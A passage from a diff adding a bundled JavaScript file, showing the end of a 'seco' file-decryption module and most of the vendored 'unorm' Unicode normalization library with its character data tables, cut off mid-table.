return { + encryptedData, + blobKey, + metadata + }; + } + function decrypt(encryptedData, passphrase) { + const fileObj = conFile.decode(encryptedData); + const checksum = conFile.computeChecksum(fileObj.metadata, fileObj.blob); + if (!fileObj.checksum.equals(checksum)) + throw new Error("seco checksum does not match; data may be corrupted"); + let metadata = conMetadata.decode(fileObj.metadata); + let blobKey = conMetadata.decryptBlobKey(metadata, passphrase); + let header = conHeader.decode(fileObj.header); + let data = conBlob.decrypt(fileObj.blob, metadata, blobKey); + return { + data, + blobKey, + metadata, + header + }; + } +}); + +// node_modules/unorm/lib/unorm.js +var require_unorm = __commonJS((exports, module) => { + (function(root) { + var DEFAULT_FEATURE = [null, 0, {}]; + var CACHE_THRESHOLD = 10; + var SBase = 44032, LBase = 4352, VBase = 4449, TBase = 4519, LCount = 19, VCount = 21, TCount = 28; + var NCount = VCount * TCount; + var SCount = LCount * NCount; + var UChar = function(cp, feature) { + this.codepoint = cp; + this.feature = feature; + }; + var cache = {}; + var cacheCounter = []; + for (var i = 0;i <= 255; ++i) { + cacheCounter[i] = 0; + } + function fromCache(next, cp, needFeature) { + var ret = cache[cp]; + if (!ret) { + ret = next(cp, needFeature); + if (!!ret.feature && ++cacheCounter[cp >> 8 & 255] > CACHE_THRESHOLD) { + cache[cp] = ret; + } + } + return ret; + } + function fromData(next, cp, needFeature) { + var hash = cp & 65280; + var dunit = UChar.udata[hash] || {}; + var f = dunit[cp]; + return f ? new UChar(cp, f) : new UChar(cp, DEFAULT_FEATURE); + } + function fromCpOnly(next, cp, needFeature) { + return needFeature ? next(cp, needFeature) : new UChar(cp, null); + } + function fromRuleBasedJamo(next, cp, needFeature) { + var j; + if (cp < LBase || LBase + LCount <= cp && cp < SBase || SBase + SCount < cp) { + return next(cp, needFeature); + } + if (LBase <= cp && cp < LBase + LCount) { + var c = {}; + var base = (cp - LBase) * VCount; + for (j = 0;j < VCount; ++j) { + c[VBase + j] = SBase + TCount * (j + base); + } + return new UChar(cp, [, , c]); + } + var SIndex = cp - SBase; + var TIndex = SIndex % TCount; + var feature = []; + if (TIndex !== 0) { + feature[0] = [SBase + SIndex - TIndex, TBase + TIndex]; + } else { + feature[0] = [LBase + Math.floor(SIndex / NCount), VBase + Math.floor(SIndex % NCount / TCount)]; + feature[2] = {}; + for (j = 1;j < TCount; ++j) { + feature[2][TBase + j] = cp + j; + } + } + return new UChar(cp, feature); + } + function fromCpFilter(next, cp, needFeature) { + return cp < 60 || 13311 < cp && cp < 42607 ? new UChar(cp, DEFAULT_FEATURE) : next(cp, needFeature); + } + var strategies = [fromCpFilter, fromCache, fromCpOnly, fromRuleBasedJamo, fromData]; + UChar.fromCharCode = strategies.reduceRight(function(next, strategy) { + return function(cp, needFeature) { + return strategy(next, cp, needFeature); + }; + }, null); + UChar.isHighSurrogate = function(cp) { + return cp >= 55296 && cp <= 56319; + }; + UChar.isLowSurrogate = function(cp) { + return cp >= 56320 && cp <= 57343; + }; + UChar.prototype.prepFeature = function() { + if (!this.feature) { + this.feature = UChar.fromCharCode(this.codepoint, true).feature; + } + }; + UChar.prototype.toString = function() { + if (this.codepoint < 65536) { + return String.fromCharCode(this.codepoint); + } else { + var x = this.codepoint - 65536; + return String.fromCharCode(Math.floor(x / 1024) + 55296, x % 1024 + 56320); + } + }; + UChar.prototype.getDecomp = function() { + this.prepFeature(); + return this.feature[0] || null; + }; + UChar.prototype.isCompatibility = function() { + this.prepFeature(); + return !!this.feature[1] && this.feature[1] & 1 << 8; + }; + UChar.prototype.isExclude = function() { + this.prepFeature(); + return !!this.feature[1] && this.feature[1] & 1 << 9; + }; + UChar.prototype.getCanonicalClass = function() { + this.prepFeature(); + return this.feature[1] ? this.feature[1] & 255 : 0; + }; + UChar.prototype.getComposite = function(following) { + this.prepFeature(); + if (!this.feature[2]) { + return null; + } + var cp = this.feature[2][following.codepoint]; + return cp ? UChar.fromCharCode(cp) : null; + }; + var UCharIterator = function(str) { + this.str = str; + this.cursor = 0; + }; + UCharIterator.prototype.next = function() { + if (!!this.str && this.cursor < this.str.length) { + var cp = this.str.charCodeAt(this.cursor++); + var d; + if (UChar.isHighSurrogate(cp) && this.cursor < this.str.length && UChar.isLowSurrogate(d = this.str.charCodeAt(this.cursor))) { + cp = (cp - 55296) * 1024 + (d - 56320) + 65536; + ++this.cursor; + } + return UChar.fromCharCode(cp); + } else { + this.str = null; + return null; + } + }; + var RecursDecompIterator = function(it, cano) { + this.it = it; + this.canonical = cano; + this.resBuf = []; + }; + RecursDecompIterator.prototype.next = function() { + function recursiveDecomp(cano, uchar2) { + var decomp = uchar2.getDecomp(); + if (!!decomp && !(cano && uchar2.isCompatibility())) { + var ret = []; + for (var i2 = 0;i2 < decomp.length; ++i2) { + var a = recursiveDecomp(cano, UChar.fromCharCode(decomp[i2])); + ret = ret.concat(a); + } + return ret; + } else { + return [uchar2]; + } + } + if (this.resBuf.length === 0) { + var uchar = this.it.next(); + if (!uchar) { + return null; + } + this.resBuf = recursiveDecomp(this.canonical, uchar); + } + return this.resBuf.shift(); + }; + var DecompIterator = function(it) { + this.it = it; + this.resBuf = []; + }; + DecompIterator.prototype.next = function() { + var cc; + if (this.resBuf.length === 0) { + do { + var uchar = this.it.next(); + if (!uchar) { + break; + } + cc = uchar.getCanonicalClass(); + var inspt = this.resBuf.length; + if (cc !== 0) { + for (;inspt > 0; --inspt) { + var uchar2 = this.resBuf[inspt - 1]; + var cc2 = uchar2.getCanonicalClass(); + if (cc2 <= cc) { + break; + } + } + } + this.resBuf.splice(inspt, 0, uchar); + } while (cc !== 0); + } + return this.resBuf.shift(); + }; + var CompIterator = function(it) { + this.it = it; + this.procBuf = []; + this.resBuf = []; + this.lastClass = null; + }; + CompIterator.prototype.next = function() { + while (this.resBuf.length === 0) { + var uchar = this.it.next(); + if (!uchar) { + this.resBuf = this.procBuf; + this.procBuf = []; + break; + } + if (this.procBuf.length === 0) { + this.lastClass = uchar.getCanonicalClass(); + this.procBuf.push(uchar); + } else { + var starter = this.procBuf[0]; + var composite = starter.getComposite(uchar); + var cc = uchar.getCanonicalClass(); + if (!!composite && (this.lastClass < cc || this.lastClass === 0)) { + this.procBuf[0] = composite; + } else { + if (cc === 0) { + this.resBuf = this.procBuf; + this.procBuf = []; + } + this.lastClass = cc; + this.procBuf.push(uchar); + } + } + } + return this.resBuf.shift(); + }; + var createIterator = function(mode, str) { + switch (mode) { + case "NFD": + return new DecompIterator(new RecursDecompIterator(new UCharIterator(str), true)); + case "NFKD": + return new DecompIterator(new RecursDecompIterator(new UCharIterator(str), false)); + case "NFC": + return new CompIterator(new DecompIterator(new RecursDecompIterator(new UCharIterator(str), true))); + case "NFKC": + return new CompIterator(new DecompIterator(new RecursDecompIterator(new UCharIterator(str), false))); + } + throw mode + " is invalid"; + }; + var normalize = function(mode, str) { + var it = createIterator(mode, str); + var ret = ""; + var uchar; + while (uchar = it.next()) { + ret += uchar.toString(); + } + return ret; + }; + function nfd(str) { + return normalize("NFD", str); + } + function nfkd(str) { + return normalize("NFKD", str); + } + function nfc(str) { + return normalize("NFC", str); + } + function nfkc(str) { + return normalize("NFKC", str); + } + UChar.udata = { + 0: { 60: [, , { 824: 8814 }], 61: [, , { 824: 8800 }], 62: [, , { 824: 8815 }], 65: [, , { 768: 192, 769: 193, 770: 194, 771: 195, 772: 256, 774: 258, 775: 550, 776: 196, 777: 7842, 778: 197, 780: 461, 783: 512, 785: 514, 803: 7840, 805: 7680, 808: 260 }], 66: [, , { 775: 7682, 803: 7684, 817: 7686 }], 67: [, , { 769: 262, 770: 264, 775: 266, 780: 268, 807: 199 }], 68: [, , { 775: 7690, 780: 270, 803: 7692, 807: 7696, 813: 7698, 817: 7694 }], 69: [, , { 768: 200, 769: 201, 770: 202, 771: 7868, 772: 274, 774: 276, 775: 278, 776: 203, 777: 7866, 780: 282, 783: 516, 785: 518, 803: 7864, 807: 552, 808: 280, 813: 7704, 816: 7706 }], 70: [, , { 775: 7710 }], 71: [, , { 769: 500, 770: 284, 772: 7712, 774: 286, 775: 288, 780: 486, 807: 290 }], 72: [, , { 770: 292, 775: 7714, 776: 7718, 780: 542, 803: 7716, 807: 7720, 814: 7722 }], 73: [, , { 768: 204, 769: 205, 770: 206, 771: 296, 772: 298, 774: 300, 775: 304, 776: 207, 777: 7880, 780: 463, 783: 520, 785: 522, 803: 7882, 808: 302, 816: 7724 }], 74: [, , { 770: 308 }], 75: [, , { 769: 7728, 780: 488, 803: 7730, 807: 310, 817: 7732 }], 76: [, , { 769: 313, 780: 317, 803: 7734, 807: 315, 813: 7740, 817: 7738 }], 77: [, , { 769: 7742, 775: 7744, 803: 7746 }], 78: [, , { 768: 504, 769: 323, 771: 209, 775: 7748, 780: 327, 803: 7750, 807: 325, 813: 7754, 817: 7752 }], 79: [, , { 768: 210, 769: 211, 770: 212, 771: 213, 772: 332, 774: 334, 775: 558, 776: 214, 777: 7886, 779: 336, 780: 465, 783: 524, 785: 526, 795: 416, 803: 7884, 808: 490 }], 80: [, , { 769: 7764, 775: 7766 }], 82: [, , { 769: 340, 775: 7768, 780: 344, 783: 528, 785: 530, 803: 7770, 807: 342, 817: 7774 }], 83: [, , { 769: 346, 770: 348, 775: 7776, 780: 352, 803: 7778, 806: 536, 807: 350 }], 84: [, , { 775: 7786, 780: 356, 803: 7788, 806: 538, 807: 354, 813: 7792, 817: 7790 }], 85: [, , { 768: 217, 769: 218, 770: 219, 771: 360, 772: 362, 774: 364, 776: 220, 777: 7910, 778: 366, 779: 368, 780: 467, 783: 532, 785: 534, 795: 431, 803: 7908, 804: 7794, 808: 370, 813: 7798, 816: 7796 }], 86: [, , { 771: 7804, 803: 7806 }], 87: [, , { 768: 7808, 769: 7810, 770: 372, 775: 7814, 776: 7812, 803: 7816 }], 88: [, , { 775: 7818, 776: 7820 }], 89: [, , { 768: 7922, 769: 221, 770: 374, 771: 7928, 772: 562, 775: 7822, 776: 376, 777: 7926, 803: 7924 }], 90: [, , { 769: 377, 770: 7824, 775: 379, 780: 381, 803: 7826, 817: 7828 }], 97: [, , { 768: 224, 769: 225, 770: 226, 771: 227, 772: 257, 774: 259, 775: 551, 776: 228, 777: 7843, 778: 229, 780: 462, 783: 513, 785: 515, 803: 7841, 805: 7681, 808: 261 }], 98: [, , { 775: 7683, 803: 7685, 817: 7687 }], 99: [, , { 769: 263, 770: 265, 775: 267, 780: 269, 807: 231 }], 100: [, , { 775: 7691, 780: 271, 803: 7693, 807: 7697, 813: 7699, 817: 7695 }], 101: [, , { 768: 232, 769: 233, 770: 234, 771: 7869, 772: 275, 774: 277, 775: 279, 776: 235, 777: 7867, 780: 283, 783: 517, 785: 519, 803: 7865, 807: 553, 808: 281, 813: 7705, 816: 7707 }], 102: [, , { 775: 7711 }], 103: [, , { 769: 501, 770: 285, 772: 7713, 774: 287, 775: 289, 780: 487, 807: 291 }], 104: [, , { 770: 293, 775: 7715, 776: 7719, 780: 543, 803: 7717, 807: 7721, 814: 7723, 817: 7830 }], 105: [, , { 768: 236, 769: 237, 770: 238, 771: 297, 772: 299, 774: 301, 776: 239, 777: 7881, 780: 464, 783: 521, 785: 523, 803: 7883, 808: 303, 816: 7725 }], 106: [, , { 770: 309, 780: 496 }], 107: [, , { 769: 7729, 780: 489, 803: 7731, 807: 311, 817: 7733 }], 108: [, , { 769: 314, 780: 318, 803: 7735, 807: 316, 813: 7741, 817: 7739 }], 109: [, , { 769: 7743, 775: 7745, 803: 7747 }], 110: [, , { 768: 505, 769: 324, 771: 241, 775: 7749, 780: 328, 803: 7751, 807: 326, 813: 7755, 817: 7753 }], 111: [, , { 768: 242, 769: 243, 770: 244, 771: 245, 772: 333, 774: 335, 775: 559, 776: 246, 777: 7887, 779: 337, 780: 466, 783: 525, 785: 527, 795: 417, 803: 7885, 808: 491 }], 112: [, , { 769: 7765, 775: 7767 }], 114: [, , { 769: 341, 775: 7769, 780: 345, 783: 529, 785: 531, 803: 7771, 807: 343, 817: 7775 }], 115: [, , { 769: 347, 770: 349, 775: 7777, 780: 353, 803: 7779, 806: 537, 807: 351 }], 116: [, , { 775: 7787, 776: 7831, 780: 357, 803: 7789, 806: 539, 807: 355, 813: 7793, 817: 7791 }], 117: [, , { 768: 249, 769: 250, 770: 251, 771: 361, 772: 363, 774: 365, 776: 252, 777: 7911, 778: 367, 779: 369, 780: 468, 783: 533, 785: 535, 795: 432, 803: 7909, 804: 7795, 808: 371, 813: 7799, 816: 7797 }], 118: [, , { 771: 7805, 803: 7807 }], 119: [, , { 768: 7809, 769: 7811, 770: 373, 775: 7815, 776: 7813, 778: 7832, 803: 7817 }], 120: [, , { 775: 7819, 776: 7821 }], 121: [, , { 768: 7923, 769: 253, 770: 375, 771: 7929, 772: 563, 775: 7823, 776: 255, 777: 7927, 778: 7833, 803: 7925 }], 122: [, , { 769: 378, 770: 7825, 775: 380, 780: 382, 803: 7827, 817: 7829 }], 160: [[32], 256], 168: [[32, 776], 256, { 768: 8173, 769: 901, 834: 8129 }], 170: [[97], 256], 175: [[32, 772], 256], 178: [[50], 256], 179: [[51], 256], 180: [[32, 769], 256], 181: [[956], 256], 184: [[32, 807], 256], 185: [[49], 256], 186: [[111], 256], 188: [[49, 8260, 52], 256], 189: [[49, 8260, 50], 256], 190: [[51, 8260, 52], 256], 192: [[65, 768]], 193: [[65, 769]], 194: [[65, 770], , { 768: 7846, 769: 7844, 771: 7850, 777: 7848 }], 195: [[65, 771]], 196: [[65, 776], , { 772: 478 }], 197: [[65, 778], , { 769: 506 }], 198: [, , { 769: 508, 772: 482 }], 199: [[67, 807], , { 769: 7688 }], 200: [[69, 768]], 201: [[69, 769]], 202: [[69, 770], , { 768: 7872, 769: 7870, 771: 7876, 777: 7874 }], 203: [[69, 776]], 204: [[73, 768]], 205: [[73, 769]], 206: [[73, 770]], 207: [[73, 776], , { 769: 7726 }], 209: [[78, 771]], 210: [[79, 768]], 211: [[79, 769]], 212: [[79, 770], , { 768: 7890, 769: 7888, 771: 7894, 777: 7892 }], 213: [[79, 771], , { 769: 7756, 772: 556, 776: 7758 }], 214: [[79, 776], , { 772: 554 }], 216: [, , { 769: 510 }], 217: [[85, 768]], 218: [[85, 769]], 219: [[85, 770]], 220: [[85, 776], , { 768: 475, 769: 471, 772: 469, 780: 473 }], 221: [[89, 769]], 224: [[97, 768]], 225: [[97, 769]], 226: [[97, 770], , { 768: 7847, 769: 7845, 771: 7851, 777: 7849 }], 227: [[97, 771]], 228: [[97, 776], , { 772: 479 }], 229: [[97, 778], , { 769: 507 }], 230: [, , { 769: 509, 772: 483 }], 231: [[99, 807], , { 769: 7689 }], 232: [[101, 768]], 233: [[101, 769]], 234: [[101, 770], , { 768: 7873, 769: 7871, 771: 7877, 777: 7875 }], 235: [[101, 776]], 236: [[105, 768]], 237: [[105, 769]], 238: [[105, 770]], 239: [[105, 776], , { 769: 7727 }], 241: [[110, 771]], 242: [[111, 768]], 243: [[111, 769]], 244: [[111, 770], , { 768: 7891, 769: 7889, 771: 7895, 777: 7893 }], 245: [[111, 771], , { 769: 7757, 772: 557, 776: 7759 }], 246: [[111, 776], , { 772: 555 }], 248: [, , { 769: 511 }], 249: [[117, 768]], 250: [[117, 769]], 251: [[117, 770]], 252: [[117, 776], , { 768: 476, 769: 472, 772: 470, 780: 474 }], 253: [[121, 769]], 255: [[121, 776]] }, + 256: { 256: [[65, 772]], 257: [[97, 772]], 258: [[65, 774], , { 768: 7856, 769: 7854, 771: 7860, 777: 7858 }], 259: [[97, 774], , { 768: 7857, 769: 7855, 771: 7861, 777: 7859 }], 260: [[65, 808]], 261: [[97, 808]], 262: [[67, 769]], 263: [[99, 769]], 264: [[67, 770]], 265: [[99, 770]], 266: [[67, 775]], 267: [[99, 775]], 268: [[67, 780]], 269: [[99, 780]], 270: [[68, 780]], 271: [[100, 780]], 274: [[69, 772], , { 768: 7700, 769: 7702 }], 275: [[101, 772], , { 768: 7701, 769: 7703 }], 276: [[69, 774]], 277: [[101, 774]], 278: [[69, 775]], 279: [[101, 775]], 280: [[69, 808]], 281: [[101, 808]], 282: [[69, 780]], 283: [[101, 780]], 284: [[71, 770]], 285: [[103, 770]], 286: [[71, 774]], 287: [[103, 774]], 288: [[71, 775]], 289: [[103, 775]], 290: [[71, 807]], 291: [[103, 807]], 292: [[72, 770]], 293: [[104, 770]], 296: [[73, 771]], 297: [[105, 771]], 298: [[73, 772]], 299: [[105, 772]], 300: [[73, 774]], 301: [[105, 774]], 302: [[73, 808]], 303: [[105, 808]], 304: [[73, 775]], 306: [[73, 74], 256], 307: [[105, 106], 256], 308: [[74, 770]], 309: [[106, 770]], 310: [[75, 807]], 311: [[107, 807]], 313: [[76, 769]], 314: [[108, 769]], 315: [[76, 807]], 316: [[108, 807]], 317: [[76, 780]], 318: [[108, 780]], 319: [[76, 183], 256], 320: [[108, 183], 256], 323: [[78, 769]], 324: [[110, 769]], 325: [[78, 807]], 326: [[110, 807]], 327: [[78, 780]], 328: [[110, 780]], 329: [[700, 110], 256], 332: [[79, 772], , { 768: 7760, 769: 7762 }], 333: [[111, 772], , { 768: 7761, 769: 7763 }], 334: [[79, 774]], 335: [[111, 774]], 336: [[79, 779]], 337: [[111, 779]], 340: [[82, 769]], 341: [[114, 769]], 342: [[82, 807]], 343: [[114, 807]], 344: [[82, 780]], 345: [[114, 780]], 346: [[83, 769], , { 775: 7780 }], 347: [[115, 769], , { 775: 7781 }], 348: [[83, 770]], 349: [[115, 770]], 350: [[83, 807]], 351: [[115, 807]], 352: [[83, 780], , { 775: 7782 }], 353: [[115, 780], , { 775: 7783 }], 354: [[84, 807]], 355: [[116, 807]], 356: [[84, 780]], 357: [[116, 780]], 360: [[85, 771], , { 769: 7800 }], 361: [[117, 771], , { 769: 7801 }], 362: [[85, 772], , { 776: 7802 }], 363: [[117, 772], , { 776: 7803 }], 364: [[85, 774]], 365: [[117, 774]], 366: [[85, 778]], 367: [[117, 778]], 368: [[85, 779]], 369: [[117, 779]], 370: [[85, 808]], 371: [[117, 808]], 372: [[87, 770]], 373: [[119, 770]], 374: [[89, 770]], 375: [[121, 770]], 376: [[89, 776]], 377: [[90, 769]], 378: [[122, 769]], 379: [[90, 775]], 380: [[122, 775]], 381: [[90, 780]], 382: [[122, 780]], 383: [[115], 256, { 775: 7835 }], 416: [[79, 795], , { 768: 7900, 769: 7898, 771: 7904, 777: 7902, 803: 7906 }], 417: [[111, 795], , { 768: 7901, 769: 7899, 771: 7905, 777: 7903, 803: 7907 }], 431: [[85, 795], , { 768: 7914, 769: 7912, 771: 7918, 777: 7916, 803: 7920 }], 432: [[117, 795], , { 768: 7915, 769: 7913, 771: 7919, 777: 7917, 803: 7921 }], 439: [, , { 780: 494 }], 452: [[68, 381], 256], 453: [[68, 382], 256], 454: [[100, 382], 256], 455: [[76, 74], 256], 456: [[76, 106], 256], 457: [[108, 106], 256], 458: [[78, 74], 256], 459: [[78, 106], 256], 460: [[110, 106], 256], 461: [[65, 780]], 462: [[97, 780]], 463: [[73, 780]], 464: [[105, 780]], 465: [[79, 780]], 466: [[111, 780]], 467: [[85, 780]], 468: [[117, 780]], 469: [[220, 772]], 470: [[252, 772]], 471: [[220, 769]], 472: [[252, 769]], 473: [[220, 780]], 474: [[252, 780]], 475: [[220, 768]], 476: [[252, 768]], 478: [[196, 772]], 479: [[228, 772]], 480: [[550, 772]], 481: [[551, 772]], 482: [[198, 772]], 483: [[230, 772]], 486: [[71, 780]], 487: [[103, 780]], 488: [[75, 780]], 489: [[107, 780]], 490: [[79, 808], , { 772: 492 }], 491: [[111, 808], , { 772: 493 }], 492: [[490, 772]], 493: [[491, 772]], 494: [[439, 780]], 495: [[658, 780]], 496: [[106, 780]], 497: [[68, 90], 256], 498: [[68, 122], 256], 499: [[100, 122], 256], 500: [[71, 769]], 501: [[103, 769]], 504: [[78, 768]], 505: [[110, 768]], 506: [[197, 769]], 507: [[229, 769]], 508: [[198, 769]], 509: [[230, 769]], 510: [[216, 769]], 511: [[248, 769]], 66045: [, 220] }, + 512: { 512: [[65, 783]], 513: [[97, 783]], 514: [[65, 785]], 515: [[97, 785]], 516: [[69, 783]], 517: [[101, 783]], 518: [[69, 785]], 519: [[101, 785]], 520: [[73, 783]], 521: [[105, 783]], 522: [[73, 785]], 523: [[105, 785]], 524: [[79, 783]], 525: [[111, 783]], 526: [[79, 785]], 527: [[111, 785]], 528: [[82, 783]], 529: [[114, 783]], 530: [[82, 785]], 531: [[114, 785]], 532: [[85, 783]], 533: [[117, 783]], 534: [[85, 785]], 535: [[117, 785]], 536: [[83, 806]], 537: [[115, 806]], 538: [[84, 806]], 539: [[116, 806]], 542: [[72, 780]], 543: [[104, 780]], 550: [[65, 775], , { 772: 480 }], 551: [[97, 775], , { 772: 481 }], 552: [[69, 807], , { 774: 7708 }], 553: [[101, 807], , { 774: 7709 }], 554: [[214, 772]], 555: [[246, 772]], 556: [[213, 772]], 557: [[245, 772]], 558: [[79, 775], , { 772: 560 }], 559: [[111, 775], , { 772: 561 }], 560: [[558, 772]], 561: [[559, 772]], 562: [[89, 772]], 563: [[121, 772]], 658: [, , { 780: 495 }], 688: [[104], 256], 689: [[614], 256], 690: [[106], 256], 691: [[114], 256], 692: [[633], 256], 693: [[635], 256], 694: [[641], 256], 695: [[119], 256], 696: [[121], 256], 728: [[32, 774], 256], 729: [[32, 775], 256], 730: [[32, 778], 256], 731: [[32, 808], 256], 732: [[32, 771], 256], 733: [[32, 779], 256], 736: [[611], 256], 737: [[108], 256], 738: [[115], 256], 739: [[120], 256], 740: [[661], 256], 66272: [, 220] }, + 768: { 768: [, 230], 769: [, 230], 770: [, 230], 771: [, 230], 772: [, 230], 773: [, 230], 774: [, 230], 775: [, 230], 776: [, 230, { 769: 836 }], 777: [, 230], 778: [, 230], 779: [, 230], 780: [, 230], 781: [, 230], 782: [, 230], 783: [, 230], 784: [, 230], 785: [, 230], 786: [, 230], 787: [, 230], 788: [, 230], 789: [, 232], 790: [, 220], 791: [, 220], 792: [, 220], 793: [, 220], 794: [, 232], 795: [, 216], 796: [, 220], 797: [, 220], 798: [, 220], 799: [, 220], 800: [, 220], 801: [, 202], 802: [, 202], 803: [, 220], 804: [, 220], 805: [, 220], 806: [, 220], 807: [, 202], 808: [, 202], 809: [, 220], 810: [, 220], 811: [, 220], 812: [, 220], 813: [, 220], 814: [, 220], 815: [, 220], 816: [, 220], 817: [, 220], 818: [, 220], 819: [, 220], 820: [, 1], 821: [, 1], 822: [, 1], 823: [, 1], 824: [, 1], 825: [, 220], 826: [, 220], 827: [, 220], 828: [, 220], 829: [, 230], 830: [, 230], 831: [, 230], 832: [[768], 230], 833: [[769], 230], 834: [, 230], 835: [[787], 230], 836: [[776, 769], 230], 837: [, 240], 838: [, 230], 839: [, 220], 840: [, 220], 841: [, 220], 842: [, 230], 843: [, 230], 844: [, 230], 845: [, 220], 846: [, 220], 848: [, 230], 849: [, 230], 850: [, 230], 851: [, 220], 852: [, 220], 853: [, 220], 854: [, 220], 855: [, 230], 856: [, 232], 857: [, 220], 858: [, 220], 859: [, 230], 860: [, 233], 861: [, 234], 862: [, 234], 863: [, 233], 864: [, 234], 865: [, 234], 866: [, 233], 867: [, 230], 868: [, 230], 869: [, 230], 870: [, 230], 871: [, 230], 872: [, 230], 873: [, 230], 874: [, 230], 875: [, 230], 876: [, 230], 877: [, 230], 878: [, 230], 879: [, 230], 884: [[697]], 890: [[32, 837], 256], 894: [[59]], 900: [[32, 769], 256], 901: [[168, 769]], 902: [[913, 769]], 903: [[183]], 904: [[917, 769]], 905: [[919, 769]], 906: [[921, 769]], 908: [[927, 769]], 910: [[933, 769]], 911: [[937, 769]], 912: [[970, 769]], 913: [, , { 768: 8122, 769: 902, 772: 8121, 774: 8120, 787: 7944, 788: 7945, 837: 8124 }], 917: [, , { 768: 8136, 769: 904, 787: 7960, 788: 7961 }], 919: [, , { 768: 8138, 769: 905, 787: 7976, 788: 7977, 837: 8140 }], 921: [, , { 768: 8154, 769: 906, 772: 8153, 774: 8152, 776: 938, 787: 7992, 788: 7993 }], 927: [, , { 768: 8184, 769: 908, 787: 8008, 788: 8009 }], 929: [, , { 788: 8172 }], 933: [, , { 768: 8170, 769: 910, 772: 8169, 774: 8168, 776: 939, 788: 8025 }], 937: [, , { 768: 8186, 769: 911, 787: 8040, 788: 8041, 837: 8188 }], 938: [[921, 776]], 939: [[933, 776]], 940: [[945, 769], , { 837: 8116 }], 941: [[949, 769]], 942: [[951, 769], , { 837: 8132 }], 943: [[953, 769]], 944: [[971, 769]], 945: [, , { 768: 8048, 769: 940, 772: 8113, 774: 8112, 787: 7936, 788: 7937, 834: 8118, 837: 8115 }], 949: [, , { 768: 8050, 769: 941, 787: 7952, 788: 7953 }], 951: [, , { 768: 8052, 769: 942, 787: 7968, 788: 7969, 834: 8134, 837: 8131 }], 953: [, , { 768: 8054, 769: 943, 772: 8145, 774: 8144, 776: 970, 787: 7984, 788: 7985, 834: 8150 }], 959: [, , { 768: 8056, 769: 972, 787: 8000, 788: 8001 }], 961: [, , { 787: 8164, 788: 8165 }], 965: [, , { 768: 8058, 769: 973, 772: 8161, 774: 8160, 776: 971, 787: 8016, 788: 8017, 834: 8166 }], 969: [, , { 768: 8060, 769: 974, 787: 8032, 788: 8033, 834: 8182, 837: 8179 }], 970: [[953, 776], , { 768: 8146, 769: 912, 834: 8151 }], 971: [[965, 776], , { 768: 8162, 769: 944, 834: 8167 }], 972: [[959, 769]], 973: [[965, 769]], 974: [[969, 769], , { 837: 8180 }], 976: [[946], 256], 977: [[952], 256], 978: [[933], 256, { 769: 979, 776: 980 }], 979: [[978, 769]], 980: [[978, 776]], 981: [[966], 256], 982: [[960], 256], 1008: [[954], 256], 1009: [[961], 256], 1010: [[962], 256], 1012: [[920], 256], 1013: [[949], 256], 1017: [[931], 256], 66422: [, 230], 66423: [, 230], 66424: [, 230], 66425: [, 230], 66426: [, 230] }, + 1024: { 1024: [[1045, 768]], 1025: [[1045, 776]], 1027: [[1043, 769]], 1030: [, , { 776: 1031 }], 1031: [[1030, 776]], 1036: [[1050, 769]], 1037: [[1048, 768]], 1038: [[1059, 774]], 1040: [, , { 774: 1232, 776: 1234 }], 1043: [, , { 769: 1027 }], 1045: [, , { 768: 1024, 774: 1238, 776: 1025 }], 1046: [, , { 774: 1217, 776: 1244 }], 1047: [, , { 776: 1246 }], 1048: [, , { 768: 1037, 772: 1250, 774: 1049, 776: 1252 }], 1049: [[1048, 774]], 1050: [, , { 769: 1036 }], 1054: [, , { 776: 1254 }], 1059: [, , { 772: 1262, 774: 1038, 776: 1264, 779: 1266 }], 1063: [, , { 776: 1268 }], 1067: [, , { 776: 1272 }], 1069: [, , { 776: 1260 }], 1072: [, , { 774: 1233, 776: 1235 }], 1075: [, , { 769: 1107 }], 1077: [, , { 768: 1104, 774: 1239, 776: 1105 }], 1078: [, , { 774: 1218, 776: 1245 }], 1079: [, , { 776: 1247 }], 1080: [, , { 768: 1117, 772: 1251, 774: 1081, 776: 1253 }], 1081: [[1080, 774]], 1082: [, , { 769: 1116 }], 1086: [, , { 776: 1255 }], 1091: [, , { 772: 1263, 774: 1118, 776: 1265, 779: 1267 }], 1095: [, , { 776: 1269 }], 1099: [, , { 776: 1273 }], 1101: [, , { 776: 1261 }], 1104: [[1077, 768]], 1105: [[1077, 776]], 1107: [[1075, 769]], 1110: [, , { 776: 1111 }], 1111: [[1110, 776]], 1116: [[1082, 769]], 1117: [[1080, 768]], 1118: [[1091, 774]], 1140: [, , { 783: 1142 }], 1141: [, , { 783: 1143 }], 1142: [[1140, 783]], 1143: [[1141, 783]], 1155: [, 230], 1156: [, 230], 1157: [, 230], 1158: [, 230], 1159: [, 230], 1217: [[1046, 774]], 1218: [[1078, 774]], 1232: [[1040, 774]], 1233: [[1072, 774]], 1234: [[1040, 776]], 1235: [[1072, 776]], 1238: [[1045, 774]], 1239: [[1077, 774]], 1240: [, , { 776: 1242 }], 1241: [, , { 776: 1243 }], 1242: [[1240, 776]], 1243: [[1241, 776]], 1244: [[1046, 776]], 1245: [[1078, 776]], 1246: [[1047, 776]], 1247: [[1079, 776]], 1250: [[1048, 772]], 1251: [[1080, 772]], 1252: [[1048, 776]], 1253: [[1080, 776]], 1254: [[1054, 776]], 1255: [[1086, 776]], 1256: [, , { 776: 1258 }], 1257: [, , { 776: 1259 }], 1258: [[1256, 776]], 1259: [[1257, 776]], 1260: [[1069, 776]], 1261: [[1101, 776]], 1262: [[1059, 772]], 1263: [[1091, 772]], 1264: [[1059, 776]], 1265: [[1091, 776]], 1266: [[1059, 779]], 1267: [[1091, 779]], 1268: [[1063, 776]], 1269: [[1095, 776]], 1272: [[1067, 776]], 1273: [[1099, 776]] }, + 1280: { 1415: [[1381, 1410], 256], 1425: [, 220], 1426: [, 230], 1427: [, 230], 1428: [, 230], 1429: [, 230], 1430: [, 220], 1431: [, 230], 1432: [, 230], 1433: [, 230], 1434: [, 222], 1435: [, 220], 1436: [, 230], 1437: [, 230], 1438: [, 230], 1439: [, 230], 1440: [, 230], 1441: [, 230], 1442: [, 220], 1443: [, 220], 1444: [, 220], 1445: [, 220], 1446: [, 220], 1447: [, 220], 1448: [, 230], 1449: [, 230], 1450: [, 220], 1451: [, 230], 1452: [, 230], 1453: [, 222], 1454: [, 228], 1455: [, 230], 1456: [, 10], 1457: [, 11], 1458: [, 12], 1459: [, 13], 1460: [, 14], 1461: [, 15], 1462: [, 16], 1463: [, 17], 1464: [, 18], 1465: [, 19], 1466: [, 19], 1467: [, 20], 1468: [, 21], 1469: [, 22], 1471: [, 23], 1473: [, 24], 1474: [, 25], 1476: [, 230], 1477: [, 220], 1479: [, 18] }, + 1536: { 1552: [, 230], 1553: [, 230], 